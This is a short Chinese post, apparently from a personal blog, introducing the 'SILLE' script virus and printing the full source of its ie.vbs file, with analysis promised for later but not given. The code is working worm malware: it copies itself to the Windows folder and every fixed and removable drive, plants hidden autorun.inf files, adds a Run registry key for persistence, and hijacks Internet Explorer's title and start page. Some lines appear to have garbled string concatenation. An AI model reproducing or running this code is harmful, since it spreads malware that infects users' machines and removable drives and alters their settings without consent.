脚本病毒,出来已经有些时间了.
大部分的杀毒软件都能够发现这种病毒了.

病毒的重点部分是在这个ie.vbs文件中,其中的代码如下:

关于代码的分析留在以后再做,

VBS代码
  1. ‘virus name is SILLE   
  2. ‘By Winxp32   
  3. on error resume next   
  4. dim ms,winpath,fs,fd,mf,atr,tf,rg,nt,chk,sd   
  5. atr = "[autorun]"&vbcrlf"shellexecute=wscript.exe ie.vbs"  
  6. set fs = createobject("Scripting.FileSystemObject")   
  7. set mf = fs.getfile(Wscript.ScriptFullname)   
  8. dim text,size   
  9. size = mf.size   
  10. chk = mf.drive.drivetype   
  11. set text=mf.openastextstream(1,-2)   
  12. do while not text.atendofstream   
  13. ms=ms&text.readline   
  14. ms=ms & vbcrlf   
  15. loop   
  16. do   
  17. Set winpath = fs.getspecialfolder(0)   
  18. set tf = fs.getfile(winpath & "\ie.vbs")   
  19. tf.attributes = 32   
  20. set tf=fs.createtextfile(winpath & "\ie.vbs",2,true)   
  21. tf.write ms   
  22. tf.close   
  23. set tf = fs.getfile(winpath & "\ie.vbs")   
  24. tf.attributes = 39   
  25. for each fd in fs.drives   
  26. If (fd.drivetype = 1 or fd.drivetype = 2) and fd.path <> "A:" then   
  27. set tf=fs.getfile(fd.path "\ie.vbs")   
  28. tf.attributes =32   
  29. set tf=fs.createtextfile(fd.path "\ie.vbs",2,true)   
  30. tf.write ms   
  31. tf.close   
  32. set tf=fs.getfile(fd.path "\ie.vbs")   
  33. tf.attributes =39   
  34. set tf =fs.getfile(fd.path "\autorun.inf")   
  35. tf.attributes = 32   
  36. set tf=fs.createtextfile(fd.path "\autorun.inf",2,true)   
  37. tf.write atr   
  38. tf.close   
  39. set tf =fs.getfile(fd.path "\autorun.inf")   
  40. tf.attributes=39   
  41. end if   
  42. next   
  43. set rg = createobject("WScript.Shell")   
  44. rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL",winpath"\ie.vbs"  
  45. rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","¤¤¤¤~~~—@        SILLE"  
  46. rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.sille.net"  
  47. if chk <> 1 then   
  48. Wscript.sleep 333333   
  49. end if   
  50. loop while chk<>1   
  51. set sd = createobject("Wscript.shell")   
  52. sd.run winpath"\explorer.exe /e,/select, "&Wscript.ScriptFullname